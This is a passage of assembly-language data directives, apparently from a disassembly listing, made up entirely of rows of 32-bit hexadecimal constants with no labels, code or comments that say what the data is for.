dd 4DEDF1E7h, 0D67BE8BCh, 85B8E783h, 91754B3Dh, 94407922h
dd 0DC3D5EECh, 0B6953F9h, 2676060Fh, 0F313D1ABh, 6E0019ABh
dd 67F60C04h, 33DCDBC4h, 9E4E3561h, 3C6288C6h, 0A7B61AEh
dd 6D658F6h, 6D91FFB7h, 0A2341235h, 0A3E2EE77h, 20325483h
dd 36D467C6h, 4B328502h, 0FC37AA1Eh, 0D4E0C063h, 817A7595h
dd 9DBE66FDh, 0DE1D5B88h, 0ADFF44Fh, 580EB735h, 595657B8h
dd 0C0C5B98h, 0CCDDBD1Fh, 0BCE8B2FFh, 0CD588BF1h, 41530E16h
dd 0D6438972h, 9F9C0D00h, 39814E4Ch, 0CD19B75Dh, 703F44A4h
dd 5D540897h, 0AB4765A4h, 610F1424h, 329796E4h, 25E29FD0h
dd 0F2B60D8Dh, 0A2BB4B4Fh, 0E3696F2Ah, 0B277F65Fh, 0F4FA2D2h
dd 0D06D75C3h, 1BFF8368h, 32B3B395h, 0F3392DE3h, 0C5DE6534h
dd 6796A20Ah, 26E9FE90h, 89AC6308h, 0D47872A7h, 0DB056E12h
dd 0C8AB25CAh, 0A6F29C2h, 0EBB61C82h, 95220145h, 2266F986h
dd 0B07E54D9h, 0ED03366Fh, 56ED1F35h, 3E1D7F5Eh, 0B99C6DC5h
dd 0E0F7F4B3h, 95A9D0D5h, 0D4440601h, 54B1D095h, 19580475h
dd 0F373DA07h, 4E513156h, 30BBD6F4h, 0B76485F3h, 0F7E11DC0h
dd 979EA90Dh, 0A5D3ADE8h, 901D99EAh, 0F90F549Fh, 0B381C5A0h
dd 47CC49D2h, 484CC257h, 0E25F799Bh, 0D4597471h, 0B82DA90Ah
dd 1C9D669Bh, 0C04AF72Eh, 4305525Fh, 0BD82353Bh, 0DC7D3C2Bh
dd 4A5E31B1h, 0D3108DB5h, 0FA5CBF79h, 531CADB7h, 0DABF5F90h
dd 0A53B3B7Ah, 8BBA3D6Ah, 4A7E9D0Bh, 48D690A6h, 7E87CACFh
dd 0E8D9255Dh, 3D868F01h, 0D351EE99h, 5B735389h, 5C41AEA1h
dd 50C7876Fh, 3563F5D0h, 9A444B39h, 0CD17ED84h, 846FC06Fh
dd 16DF8C27h, 0A8B5446Fh, 3B3A96F5h, 78D05807h, 894D6E11h
dd 49B9149Bh, 0DBA32520h, 0FE90BEA3h, 369C0176h, 543AC9A1h
dd 8C0C3EB8h, 0E291D4D4h, 0D6FB18D7h, 72DB8022h, 2011A40h
dd 0CDBF864Dh, 86E5EE95h, 0B03E4A01h, 652EF67Ch, 730EFCA8h
dd 0D53DE8D6h, 0F5E6452Bh, 0DA506AD3h, 5CF0DCD0h, 580980D8h
dd 9219E582h, 0BC8B85C7h, 73E36B41h, 0AF51A539h, 35438DFAh
dd 315774ACh, 6542F3A7h, 0B5BD6F16h, 0DA1E8C1Dh, 5D3B480Eh
dd 0EBA9541Ah, 0D9E398B0h, 0F7B2CE29h, 0D067B3C7h, 831C9FDCh
dd 0C6081F09h, 0C4F53C21h, 68A35458h, 0F5EE61EAh, 192AB2B3h
dd 0AE8C6696h, 0E25DF232h, 0A9AA3A7h, 0A384DBDEh, 0A41F75BEh
dd 4B612125h, 91D1C981h, 134EB244h, 852EF1h, 99FD62FCh
dd 1A352BF7h, 3D6F83D9h, 5903141Bh, 0A16BFE7Fh, 5E055F84h
dd 46915074h, 0FEC22343h, 0EBF8DED5h, 6BCD0776h, 0C497B627h
dd 0ADB72B28h, 215512F2h, 81D72B97h, 7DCA5E6Ch, 83AC32F2h
dd 0B0ABF674h, 0E5633F3Bh, 0D301DDAEh, 9B659C33h, 68BCE083h
dd 52FD02C4h, 1346443Ch, 44C7B77Dh, 7523F269h, 4A0E8DF7h
dd 0BCD81750h, 0E46A9881h, 50D64491h, 31DD34C6h, 31D8442Eh
dd 950B0D62h, 0B7CA212Fh, 34F38F8Ch, 0D8599416h, 0DCB52C18h
dd 0A194F232h, 51F826AAh, 0B14CDA53h, 33314311h, 0F0840CAFh
dd 0AC66A01Ah, 9BD80158h, 0F3314C7Eh, 6742432Ah, 30F88E8Bh
dd 0CF54E5FEh, 5C71FC8Ch, 18955910h, 9CFD1807h, 0B5A92FC8h
dd 2DD76306h, 0C6A81217h, 0F73E5576h, 0A8720DFDh, 63550DAFh
dd 4889C0F7h, 0ABDA80ECh, 71D4453Ch, 0E3746C62h, 0DF26BB6Ah
dd 1DEEB18Bh, 8D62C11h, 5B359205h, 0C38C1A50h, 5F9CAC4Eh
dd 5D332C1Bh, 0E6E9ABE7h, 948FA1DBh, 676D90D5h, 5CB4F76Eh
dd 3946A65h, 9C7C336Fh, 0CB394115h, 251D212Eh, 771167D7h
dd 59E77DB5h, 3E4986C2h, 3F9007D9h, 0A1A62D2Ch, 3A3CC643h
dd 0A5E7F436h, 7FF6BE8Fh, 0A8019A1Fh, 0E5754808h, 182F98F4h
dd 98FB767Bh, 0FDEC4A41h, 95813E4Eh, 1569326h, 274B1D09h
dd 363447C7h, 3CD253E1h, 0CA061F3Fh, 0BE855B08h, 6D3F9688h
dd 74F0396Ch, 79E5D73Fh, 93AA6B20h, 0FC3FDA7Fh, 80114100h
dd 1A8B2A93h, 1A1C15CEh, 35C5A9B2h, 8C0D92A9h, 0CACF8889h
dd 1F10BF42h, 0D05D5FFBh, 2845D7B0h, 0D20417ECh, 45E0A9CCh
dd 5B3E0CACh, 0A0DBB4ABh, 0FF78915Dh, 99B448ABh, 906D14BDh
dd 8399BA18h, 14BC9DF9h, 4CC66469h, 8C00EEBCh, 3CDC88A0h
dd 0E8E6E1E4h, 73FE026Eh, 0BB84B3F9h, 83E8D0D5h, 88F80158h
dd 0A88A7C46h, 0AF0DFB27h, 0E3F4D33Bh, 0AD889A53h, 2EBE07C6h
dd 0D9C14C66h, 204BE2FFh, 46827683h, 0D2A9BCC3h, 0CA73BA8Ah
dd 0A6B6A8A1h, 7CC7CC2Ah, 88986BBAh, 0FB982C82h, 0DAA4E9ADh
dd 93CDCAF7h, 0E3C23FDBh, 0DE3DFD1Bh, 0DEDD2F13h, 2AC19D86h
dd 1CDF5F32h, 0F39EDA36h, 4D3B2F51h, 0CF3785F7h, 0A7D8EC8Eh
dd 6B33DDC6h, 0DA8A4016h, 897D42Eh, 6BEFE8AAh, 718EB623h
dd 0C18D033Dh, 9B1C8E19h, 2B671BEEh, 495DC386h, 0DE45C30Bh
dd 268FED8Bh, 0B0AD9B15h, 0D449DF99h, 763412D9h, 8200E73Fh
dd 22689126h, 0E3C21B98h, 26373CD7h, 76186268h, 977D7F48h
dd 3F4C3DD8h, 0AD0C5501h, 83F65711h, 0C6F9179Ah, 14DD3AE2h
dd 0DC630B80h, 0E0CDF542h, 1CBB3F38h, 8176DAC1h, 0FBC87C79h
dd 2F435D33h, 0A9EE858Ch, 3613F5A0h, 800B6BFDh, 0EE7F182Ah
dd 9FAB322h, 0BD0F5A18h, 2548EDEEh, 36F3327Ch, 22EEA47Eh
dd 8856E1BCh, 69F6F4C5h, 6BB54EABh, 94089933h, 0CBCB0DEDh
dd 88DFDE78h, 6BDD90B9h, 279954BEh, 0C030507Bh, 0C08E30FDh
dd 43A76FD7h, 9713ABF4h, 91EC2533h, 120B223Ah, 2BDD25ADh
dd 0A31C0723h, 4C16AAEAh, 93655A05h, 0DE9F9E13h, 699F6D0Fh
dd 0E46F26B0h, 7C615F71h, 9EF4B6CDh, 74E0D46h, 0D6AB4745h
dd 1CC9B218h, 0FE1A926Dh, 3445C6ADh, 6A39A0B7h, 0A0E2F59h
dd 0F3218404h, 66702CEAh, 27553E6Fh, 0F9124602h, 6D94F852h
dd 98022D46h, 0A3EEFD73h, 0C11D9E52h, 154A1B5Ah, 0F91778B0h
dd 940553FAh, 5F4D5938h, 2A8A426Ch, 5C9A188h, 7F60CC83h
dd 7CABB30Dh, 777AD107h, 0F263FF03h, 0EFD679D2h, 0A1576AE4h
dd 0C3A07CB8h, 0A764013Dh, 0B9134BD6h, 0E5652076h, 0CCA234E0h
dd 9FD54510h, 50DC7FB7h, 89E48B07h, 25DD39F9h, 0CEEF09B3h
dd 3B0C5994h, 70CC24D6h, 4537F85Bh, 4CD620CDh, 160D89C4h
dd 93803589h, 0C74C3461h, 4147E37Dh, 15F10DBh, 35871642h
dd 46DA1426h, 0FFB27406h, 4489BD04h, 1BEB3CC0h, 933E23A8h
dd 4FC1A103h, 0B918C715h, 0D37E1FFAh, 0B68D6995h, 6EDEC0D1h
dd 209FD94Dh, 1A4C9ACAh, 1508D2CEh, 0EAE09166h, 2CEA3935h
dd 0A40C02DFh, 301C0D46h, 5E7A518Bh, 37AF5476h, 407B0F8Fh
dd 2545704Ch, 42F84F73h, 4EB55B14h, 0A6F2A88Eh, 2AB3A077h
dd 4488EEC7h, 0F3863C24h, 0AE38D074h, 8FA828h, 2520C14Ch
dd 0AD5465A3h, 0FDC50832h, 0F275290h, 1271077Ch, 89E1B1BBh
dd 0D8684ACCh, 0ACEF28B3h, 44DDC615h, 1269FA35h, 799B18Dh
dd 8B635750h, 0C80D43E1h, 0F3C79DABh, 1113F4E7h, 0DA95EBBEh
dd 41AFEBB1h, 0DB51439h, 0C67CD577h, 5B2AE631h, 8D47F158h
dd 0DB7C9F4Dh, 0B54D5D47h
dd 0DAD3EFDAh, 5B7507A2h, 2A119F85h, 0CC1FB242h, 6EF5274h
dd 0F116CE18h, 2A4788ADh, 70458BFCh, 0F46BA878h, 0C96F2214h
dd 9120F75Dh, 85485E5Fh, 0E861B874h, 0CC93F99Eh, 90031A7h
dd 6F4277D4h, 52A6A944h, 0A1344457h, 63972788h, 84796A09h
dd 0EF4DD7AAh, 0B22B7DECh, 55A492F4h, 0CB1C01CBh, 618EBE7h
dd 709B9375h, 1A35265Ch, 72C1A11Bh, 0AEAF2E42h, 8D6B7A82h
dd 28DDC3E6h, 764FDCE8h, 21D90AD3h, 0C5D8E37Dh, 60ED7A49h
dd 8AFF779Dh, 8AA3EE09h, 98E7955Fh, 0E96FF895h, 0E5662448h
dd 0A0612978h, 0DCC8E5B6h, 0B132B522h, 0E8496B57h, 0AE160A0Fh
dd 4F5F366Eh, 7A875460h, 0C74F2DA5h, 4D12B758h, 23000D95h
dd 2B6413D4h, 9B25E268h, 7985932Dh, 0F325552Fh, 7B616C7Ch
dd 0B507D4F1h, 0F2F397FAh, 0EEA6C83Dh, 806F5F23h, 7231D61Dh
dd 0EA0B9708h, 5B534571h, 93BF0816h, 0E035B83Dh, 0EF1E504Eh
dd 0CC875A17h, 17DEDA87h, 3724389Fh, 94445387h, 0D879E2EEh
dd 3D18200Ah, 0EC4CFEFDh, 3CD036EFh, 0A2CA1BDCh, 528279D0h
dd 4EBCD329h, 0D3123BA2h, 583E6A12h, 95C30DB9h, 70FC0899h
dd 21C68ABBh, 0CD32038h, 0ADBC91A5h, 0D2D01D5h, 15147593h
dd 288AF154h, 6DE52073h, 1B7A7E98h, 9617801Eh, 0DC47E8BAh
dd 4B66449Ah, 0BA67ABDh, 3DF072D1h, 2332DB28h, 1A27A174h
dd 426BA09h, 0C1385C49h, 888FD55Bh, 12907F4Ch, 0B88E2B44h
dd 33E533E6h, 0C7B347A1h, 0A2C5BBE7h, 8A3DA759h, 0DB7EB633h
dd 0C8D0083Ch, 22636B21h, 0E2FED544h, 0A0DF2842h, 3A473E26h
dd 91FF5112h, 79E53024h, 0DD48347Bh, 3BAEFB9Bh, 75147C88h
dd 0C8FB8039h, 300494F1h, 1AA8CD87h, 6BDA63BEh, 7449F4BCh
dd 5276E5B6h, 86A35DE7h, 4EBAA2AAh, 389AF69h, 8F5E0294h
dd 4D2F93Ch, 0BEB82BB9h, 0BBAE0634h, 300FC2D4h, 0EC2C6E22h
dd 1F51CFBAh, 0EC51FCFCh, 36CC4D1Ch, 97B24AAEh, 0B0B2A35Ah
dd 72F66B39h, 0F7B439CEh, 13D761A0h, 0D243B8C0h, 0B8C10EEh
dd 3BF3146h, 2B4BC972h, 0C1EA17EBh, 0BB2C5C9Bh, 9D2D391Fh
dd 81563E4Dh, 0C578E5B9h, 3B6F3272h, 135705AEh, 6FADC598h
dd 0E55A5C0Bh, 4E4AE72Ah, 15F00561h, 0D10AB3EDh, 5AB04658h
dd 0C324A443h, 8C79FB7Dh, 1E364F05h, 3341B0FDh, 7C8DD67Ch
dd 691F6C90h, 40C3CF44h, 0C3A2766Ah, 0A8F0FE67h, 1B9747A1h
dd 75929F4Dh, 187D43A5h, 3AE1E3A8h, 0DD16D79Dh, 0D9F4F4B3h
dd 9FCE2ACFh, 7B8F00F3h, 0A9A4DCC3h, 2907EF7Eh, 0D244955Dh
dd 5B8FAB81h, 0DAB4B32Dh, 0C6328AACh, 1D05D0BDh, 5BB02306h
dd 2C69DCEh, 4AE37944h, 9C5811C9h, 0D30DF4D9h, 255D1133h
dd 0E93B6496h, 624271AAh, 613FBE7Eh, 0A5D903B1h, 489E41F1h
dd 1AC3B702h, 3C671892h, 4C1F490Ah, 567838D7h, 8333A01Eh
dd 45C8F9F2h, 3BBEC0Ah, 0FEEC5034h, 89FEBD6Bh, 0B633894h
dd 19D70935h, 0D69CF892h, 0E2525A7h, 0BCB97EEAh, 3D5C8514h
dd 0A76760D3h, 7CE60C8h, 0C8E8BDCEh, 0EF509F52h, 93CE8008h
dd 0A8871BE1h, 0B35E9A1Ch, 5868E512h, 0BAD0ECD6h, 8A303D57h
dd 9F697A82h, 0EBD27F9Bh, 2DF3C4F5h, 7F948398h, 0C3209E85h
dd 62BA1Ah, 0EB20C9E9h, 0B9EAD3EDh, 4A32CF91h, 0CB61CB2Ah
dd 4B7DB55Fh, 0E3AAAC99h, 0BF453E67h, 5C662A11h, 0DD56661Bh
dd 0C3E64492h, 1A2E1CFh, 9BDC6B88h, 59723D70h, 0B4F8AB4Fh
dd 0E1364B47h, 0F0A95043h, 0AA205EA8h, 0FFC781DFh, 0E5AF9BB6h
dd 0F620EB6h, 9782A336h, 0C2B0FCA3h, 0D437312Bh, 29C01ED8h
dd 64AA9F3Eh, 77F85BE3h, 436411CDh, 0E4407E20h, 76D4472Ah
dd 3392BAF6h, 9DC031h, 185F2AFFh, 9F9A2628h, 0BF9788BDh
dd 1E93524Bh, 2F45DD53h, 6038B952h, 81F34553h, 78235367h
dd 307B01D9h, 81E4DD83h, 0AC8299Ch, 42D7F579h, 0CDA64386h
dd 0D30E743Fh, 39BB5D5Ah, 0C2950FE0h, 55F487CFh, 51C83958h
dd 0F0C4B510h, 9ABC5D19h, 0DE2AE6D3h, 0CA7C5515h, 0E1F56A1Ch
dd 0A8B0D8C9h, 4211C355h, 5E8375DFh, 902794D3h, 0CC335052h
dd 0D92F0228h, 0D0FA1DFh, 1D8ED9BBh, 4B35BA0Eh, 384CD015h
dd 1CA3F188h, 2560ECEAh, 39A380F5h, 0C38D74A1h, 0D682446Ah
dd 45BDDC46h, 55E8571Ch, 95F1B242h, 74E7CCFAh, 0E81B3FA7h
dd 5BDEBD47h, 0D4D312C6h, 0EB4A57B5h, 9F3C3F8Dh, 95A6FC70h
dd 4BD0819Fh, 3F98B3DAh, 0D52CC5Fh, 3FC386F8h, 0C50EF9B2h
dd 0C5D1990h, 8C74899Bh, 8ED528D9h, 40C79CBDh, 0F6155E4Bh
dd 1EF7A852h, 248649C5h, 0E8A11A54h, 18C84839h, 0F13B471Bh
dd 0D5F8E003h, 2635A92Ah, 0B96D5B3Fh, 6E32384Ch, 0E52DC203h
dd 0E60529A6h, 0FCC131C8h, 0AE241EF4h, 0E0BD2243h, 0A6804BECh
dd 0FDBE1072h, 0A8CC0A6Bh, 4766A49Eh, 2FF8172Dh, 2E50EE82h
dd 0E877667Fh, 0B52C300Dh, 0FB71021Bh, 0B3177BCBh, 586BEF6Fh
dd 6E4DA32Ah, 5A721769h, 9E299BAFh, 0F7FAA478h, 0F46CCAEh
dd 8A506FB8h, 4F579A8Fh, 0C3104E3Ch, 228BA7A6h, 0AB87AE27h
dd 92C92A33h, 0B8780F49h, 150977F5h, 0A5104309h, 0AB028962h
dd 4EA8B4F4h, 912E39A6h, 1F6DEC7Fh, 0E1970C41h, 6D21BE0Dh
dd 9E5A1CCEh, 575050B8h, 0C862EE99h, 0DE0E0ABh, 703B2621h
dd 2067470h, 97DA5571h, 0B888FA02h, 0AB421638h, 7E1CDE83h
dd 0E00234FEh, 0CAFB6858h, 0AE79B197h, 0B16309FFh, 26306551h
dd 66452075h, 0E41FC436h, 0D3D272B2h, 3B84D46Fh, 215DD668h
dd 28AD27FAh, 9A66281Eh, 0EA746C04h, 0FEA713EEh, 0AE630C46h
dd 193E674Fh, 5CDC925Fh, 644778CEh, 0A42BFE08h, 33D78374h
dd 8D9CB524h, 9CDAAA37h, 46B17C39h, 76484CCCh, 0B253F03Eh
dd 44202116h, 8B451DF4h, 1FB0788h, 3FDEE3AFh, 0FC65923Bh
dd 0CD867CE7h, 76F1DB74h, 817AA2ADh, 0EF1DB833h, 0BD03B80Eh
dd 0FB758F6Eh, 6150F2B6h, 0BA39AB2h, 0C76BBB10h, 0C5172CC3h
dd 0B6DA6303h, 93E07F1Dh, 2128BA85h, 21591D8Eh, 0CEA9E7Bh
dd 9FF10C9Bh, 507AADFCh, 0D9C2EB13h, 23CFA2EEh, 87B1F4Bh
dd 0E80DCD79h, 0A031B39Dh, 0DBF7A6B0h, 483905FBh, 720CCF71h
dd 0F49AD8D7h, 40B2C0A3h, 0AA84C804h, 0C3885821h, 9ACE5745h
dd 0CD1CA7D6h, 623928FEh, 506126FEh, 302E53A7h, 34C9A8DEh
dd 2F4776D2h, 0B478330Bh, 3EE0F043h, 4F9BB2ADh, 0AC46036h
dd 6C311A93h, 0D6C34339h, 76BA5959h, 39C16926h, 70A8C268h
dd 9FD35CBEh, 6E8C4C63h, 0D1FEF114h, 0A7940FFFh, 0A0775B4Ch
dd 0CB2F5A98h, 551DB568h, 343FBF65h, 716F7C20h, 5F31F0E7h
dd 0BCB16BBBh, 4AE5B851h, 4CAFC5DFh, 22781768h, 0BB3C6955h
dd 0C57F33EAh, 5AF72217h, 7D272045h, 0AD48BDFFh, 4158051Fh
dd 0CF51B6E6h, 5338E1F8h, 0A46FCBD8h, 0F81A25B6h, 0AB3B7ACEh
dd 0D9B1C78Ch, 386DF164h, 0DDA4DF43h, 0A421388Ch, 524F61B0h
dd 0AC4A98F1h, 0D0D34558h, 0E4FAFE22h, 68A720B9h, 3F19EE33h
dd 71D07004h, 0D67BFC9Eh, 0D919AB90h, 6A1452FDh, 0BE367F14h
dd 45B98943h, 3247359Fh, 48F310DFh, 140C9773h, 93744D6Bh
dd 0AE9EB213h, 6021E2C0h, 8D4BA1F0h, 794CABFCh, 4339BA12h
dd 0A9DEA5F6h, 966965F6h, 747259BCh, 0BD3E949Eh, 8AD5E5Fh
dd 900D8BD4h, 0F3C38A13h, 1DDF8E57h, 5875EA6Bh, 410FC7F8h
dd 52B0C346h, 87FE6331h, 0D7B00664h, 0A42352CCh, 1093F292h
dd 259C45Ah, 45E26598h, 81B7C8EBh, 5CF8AC58h, 2714E1E0h
dd 0C8C508Ah, 4D78ABEBh
dd 8210DCA5h, 0D84D3430h, 0C5FD588Ch, 0D4DDC120h, 46BDD85Ah
dd 4BAABE12h, 0B66667EBh, 0BEA1EB3Eh, 36B781AEh, 0DC504457h
dd 2EEF9D6h, 63D679A1h, 428CAF7Fh, 0DF16FB17h, 7FA5DAFBh
dd 15FC35BCh, 564E7035h, 8ED59F01h, 0A0B4BA9Bh, 843B0C3Ah
dd 0DEEE0837h, 0C3B07218h, 5521C8F6h, 1C2B88B0h, 993F12C5h
dd 0F075CEB4h, 3633D0D5h, 513F6FABh, 20F5ADA5h, 0AB060057h
dd 0DD1DE592h, 3026F0E0h, 0FD640FCCh, 6302F627h, 0EF736924h
dd 56C728AFh, 87DF2B32h, 142E31EBh, 6E0E2A2h, 0A9067370h
dd 0AB246837h, 0FD9FD22Fh, 0D0AE190Bh, 0B8D9D881h, 0D0071978h
dd 0A677FB72h, 0D79C09CEh, 3B607C46h, 0D56CE4C4h, 82F4CA08h
dd 0DEBE671Bh, 8D61A289h, 1C08B50Ch, 0DFAE83E4h, 0CB3A1A46h
dd 86DCA61Bh, 0AE53B4D3h, 0CDF314C0h, 177CAD6Eh, 0B8B8F38Ch
dd 0B947A6D6h, 4B2C4ACEh, 7CBB82D8h, 5E6B2D0Fh, 7483E9D9h
dd 626C4B50h, 0D24B7E11h, 5179FDF8h, 1EC82661h, 8A54B838h
dd 62ACFCB3h, 8A11E60Eh, 703FFB72h, 5BC7425Ch, 2F65595Ch
dd 0E9FB569Ch, 0AABF078Fh, 330E334Ch, 9B62C96Ah, 0D8C58C9Fh
dd 0A2776958h, 0DD55ADB7h, 304305F0h, 1D75C93Eh, 64ACBABEh
dd 0AB923193h, 0C718B709h, 67F2BB1Ah, 0ADD4F662h, 0D1FD29B1h
dd 0B4EFB71Ch, 0B69591CCh, 29DEA8E8h, 0B4D1587Ah, 2A051700h
dd 17A1BD85h, 0DD2C53CDh, 85AE1562h, 0A85EAC41h, 0D70AC17Dh
dd 0B64D793Eh, 744C1B76h, 0F4181473h, 0C4D502E1h, 77E015BCh
dd 3BB1B224h, 78155261h, 81CADBh, 1F29F0FDh, 45D7D9D1h
dd 55E6B091h, 0E7DAD75Dh, 3029919h, 0AB9FE990h, 0A338F6B7h
dd 99DD532Dh, 5F8BBB9Ah, 0F1C90B2Bh, 88280B0Ch, 7FDE3DE7h
dd 2DC7209Eh, 1C0D2366h, 7CAE7BCFh, 261FF0F7h, 8CE5F65Ch
dd 258EFAF2h, 0D2A180B8h, 2C1BB538h, 0D96FA6AFh, 17069F3Ch
dd 31D601B3h, 5EE14236h, 31F5D2D4h, 26DBA9BEh, 26AE45BAh
dd 0C67BFDBh, 0A4C36D83h, 1EC619A4h, 0DC67C8ADh, 0E2FF904Ch
dd 5D995EEEh, 45F5B3C3h, 4050B791h, 0DFCEF6E0h, 0D67B8004h
dd 3CF905B7h, 2D72A544h, 0BA6BC8F1h, 81743D5Fh, 0FE4D4238h
dd 0D42EF89Eh, 0A09530CAh, 248794CAh, 0ECCA5C72h, 50260D2Bh
dd 84A07B98h, 8ACD74F1h, 7B4F56CDh, 0CA1B3875h, 0A995C3C8h
dd 0AD5C9749h, 63B07A17h, 0B4F47978h, 41DAE88Ch, 0CB6A9C05h
dd 6D6E38B2h, 17613CC8h, 0F0B58066h, 24CFBB2Ah, 15F42131h
dd 899D8D6Dh, 7D24B4F3h, 41C68AC5h, 38EE785Bh, 0D89D7F20h
dd 0BD3A443Ah, 0E2D650E0h, 92D9A3CFh, 0E6C20380h, 181A45D6h
dd 5562501h, 9AA62A62h, 0CE28492Ah, 0C6ED21C3h, 73ABCA44h
dd 2F1334h, 0B1B246E6h, 601B7E91h, 7D11B859h, 225C993Fh
dd 0B81C35EBh, 9B7BF4C5h, 7097C889h, 3496223Ch, 0E22CE4B4h
dd 0A7CE4925h, 0FDC86888h, 0F1A708C0h, 448B5C5Ah, 0C10D039Ah
dd 48BA729Eh, 61FEE38h, 88130908h, 9617D7AAh, 787D89C1h
dd 0C1234D9h, 67C3AD8Ch, 83856531h, 6CAC45DAh, 779E7723h
dd 0DA364360h, 5363BBAFh, 0BED2AF49h, 15E46D1Ch, 55F35C5Ah
dd 0E931FBA5h, 0C0400C0Bh, 0D2480161h, 8811861Dh, 3BD83B2Fh
dd 6064CBF6h, 0DF10C8AEh, 0F3CF754Fh, 7EACDB83h, 6E5B70EEh
dd 0D76DCFB5h, 0E0DC2552h, 161545E9h, 17035BA4h, 3ED56711h
dd 0E654644Bh, 6CB3F68Ch, 0E402BEABh, 83D2593h, 6C0F3970h
dd 82DE6F3h, 29BBC162h, 2F69BFB1h, 1A9139E9h, 823E10ABh
dd 0ACD85815h, 0F5A9C6E7h, 4D167302h, 925E07C8h, 1BD44BA4h
dd 0E5DB36FEh, 7AA7FA52h, 627E9145h, 0AAE7CEEEh, 22F43D0Eh
dd 0CBFC32FEh, 8A16D958h, 0D197E229h, 365C6C37h, 236F2305h
dd 16147DAh, 3FF2C981h, 75DB75DCh, 0C0B81E72h, 53A07C92h
dd 0A30EFAAEh, 118A74D6h, 0FD4C6522h, 804B8FBAh, 7024C501h
dd 0C6CADB62h, 74A23052h, 2172BFB5h, 7E6A9B44h, 6461B538h
dd 99F842AEh, 55BF7019h, 0BE451E8Dh, 0F5BC6506h, 0D548C724h
dd 14C4136Eh, 864D534Bh, 110764ABh, 7219FC46h, 0CAB76004h
dd 22CA2C69h, 0DFFF476Ch, 0BB3DEAD2h, 7115561Bh, 0FE381AFAh
dd 0AA8408BEh, 67166E4Ah, 671E3C72h, 0F21621A6h, 0F43C724Ch
dd 0CB7F2045h, 0C4DA62AFh, 96A70F64h, 90D7A40Dh, 8F25B032h
dd 185A83F8h, 0C1C8BE8Ch, 2AB64264h, 4797EE05h, 0EA9606E0h
dd 8917133Dh, 532857F3h, 8C751450h, 130F54BBh, 0EE3273FFh
dd 0EF6C6BE6h, 45698877h, 0EB578526h, 29221E20h, 64A0C204h
dd 0B89A7CE8h, 0A84AFB2Fh, 81D5B015h, 28166FCh, 1B3B35C7h
dd 56B3BEBFh, 0C0CDDF13h, 0A12FB754h, 23602BE0h, 6294AC02h
dd 8A9498EFh, 882F7E2Ch, 9DC154ADh, 8F6B8C94h, 0CFCA4F60h
dd 9B64F7D9h, 35C97819h, 7F96B308h, 0AD1D0E43h, 315DFCD2h
dd 9F35A4CEh, 0B9B10A1Dh, 0F1453D25h, 45C8572Fh, 0BBABB22Dh
dd 5F2EADC1h, 142A26Ch, 8EA1ED5Dh, 6C913BCDh, 0ECF2897Dh
dd 9EDACCF6h, 8379B78Eh, 0A644EBE7h, 0F4328305h, 382CF7A0h
dd 0CA1A24EDh, 9D41E738h, 0F0D714BBh, 47DA1E51h, 23D5A3C8h
dd 0F89DCD57h, 321FE7DDh, 0A431F31Dh, 68C02930h, 0EDFA0E94h
dd 0AA45DA03h, 0B39ECE9Bh, 6ADF105Bh, 249956B6h, 67FCFA2Dh
dd 87A533DDh, 0D56C86BAh, 0CDFF7CF1h, 0DE417AB2h, 301B5C09h
dd 0D4E3F59Fh, 4A21E3Eh, 0EDEA46A0h, 0B675AF15h, 2E7AC8DCh
dd 0C15EDE87h, 4A5A4F0Ch, 3D13DE5Eh, 0BE2481D4h, 81CD30E9h
dd 49FB2B75h, 0DBA88EB7h, 82D2DE1h, 6992FEDAh, 49ABED9Dh
dd 8E8C219Eh, 0D81C9AA6h, 0E295D3F8h, 41EF4304h, 0DC49FE5Ah
dd 0B2A5D049h, 0C5E20A29h, 0D8C3FDC3h, 7F547A07h, 177FE5A1h
dd 9B93E0ACh, 7669EFAh, 86F6B00Eh, 8AC38BEAh, 0DA85F4E0h
dd 7B8013B6h, 0E5189A4Fh, 0ACFE0D8h, 8674A1AAh, 61328B75h
dd 0BE51DF11h, 76BFA2A0h, 0F170FC52h, 0F220D6EBh, 0B25C47Fh
dd 6D6D7527h, 0F46A6D7Eh, 50A9A659h, 0A9E026EFh, 8349835Fh
dd 0B76C7A38h, 41929D25h, 15C47A72h, 0B321D48Fh, 16C2B15h
dd 843B932Eh, 89F16932h, 504BE1F0h, 13B3C709h, 0DE2BC532h
dd 9223D00Eh, 42C28286h, 0A9EB10F8h, 8464E966h, 0EB6A25A2h
dd 0ABEA5C12h, 6FFB2762h, 5FFDF0F4h, 928D75F7h, 6B1DE99Bh
dd 1CC25C79h, 90727F6Fh, 0F0B3332Dh, 785C062h, 221652C3h
dd 0FEE7131Dh, 19B68694h, 353F8F6Ch, 66190F3Fh, 210BE932h
dd 0C25C4C88h, 0DD507E8Ch, 87AEFEC2h, 141D76Dh, 974D0C89h
dd 0D73BFDB0h, 29DBAB8Dh, 5A22BC19h, 9B0888E0h, 0B795D416h
dd 7C2A5CF8h, 7E4F3F8Dh, 0B506E37Dh, 0EB323A1h, 3772706Ch
dd 0B01B53F1h, 3F20A2EAh, 4E8AC777h, 9700A687h, 2613DA0Fh
dd 28CF0D36h, 0D28B965Fh, 57A94D94h, 78D5EEACh, 4BF3DAA4h
dd 9C26A13Bh, 0B912BCC9h, 0F21B40E6h, 891DAE15h, 0C0FA30A9h
dd 40E3449Bh, 84D1E4A8h, 0E98F3955h, 9D8977A6h, 0F9E550F0h
dd 31CF6362h, 3F163A8Fh, 76CA1C9Eh, 0A06D6C06h, 9DC690F2h
dd 23E6EFF9h, 0AD622333h, 0F2452843h, 8B0AFD2Bh, 0EE9C6E5Fh
dd 0DD7B716Eh, 1D71A433h, 44A8872Eh, 133B46B4h, 90E29CD3h
dd 54F60B9Eh, 0F417624Ah, 0A8EDF4CDh, 0DD3F1AF4h, 41FB0878h
dd 687C05Ah, 808EBC99h, 3C3D9BCEh, 973AD88Ch, 4A27BF30h
dd 10AA8FD1h, 306C7D0Dh, 86526DA1h, 0A7A329F9h, 0A95060B5h
dd 96112C9Ch, 0DA755AECh, 8C89181Ah, 7A912DF1h, 0DB389BEFh
dd 0F965FB36h, 99886449h
dd 0E388A387h, 6E1EF2DEh, 5150BA71h, 0F6C4DB1Dh, 9DDFEABBh
dd 30861986h, 0D91ED9D0h, 2DE97E22h, 21AF8C78h, 90361A28h
dd 2DABC390h, 0D8D410DDh, 761BD041h, 0DF4D1826h, 4BD9D52Eh
dd 48C4E354h, 96B5C363h, 88138BE9h, 67536FF6h, 62076BC2h
dd 0F77F9580h, 5C692919h, 194B764Fh, 89FA20B2h, 0AC320CFCh
dd 50A3190Bh, 6696292Fh, 2AD732A3h, 3F81AC38h, 27A565B7h
dd 96A99D4Dh, 5153EBE9h, 18D3562Fh, 0D80889C9h, 1A3B4022h
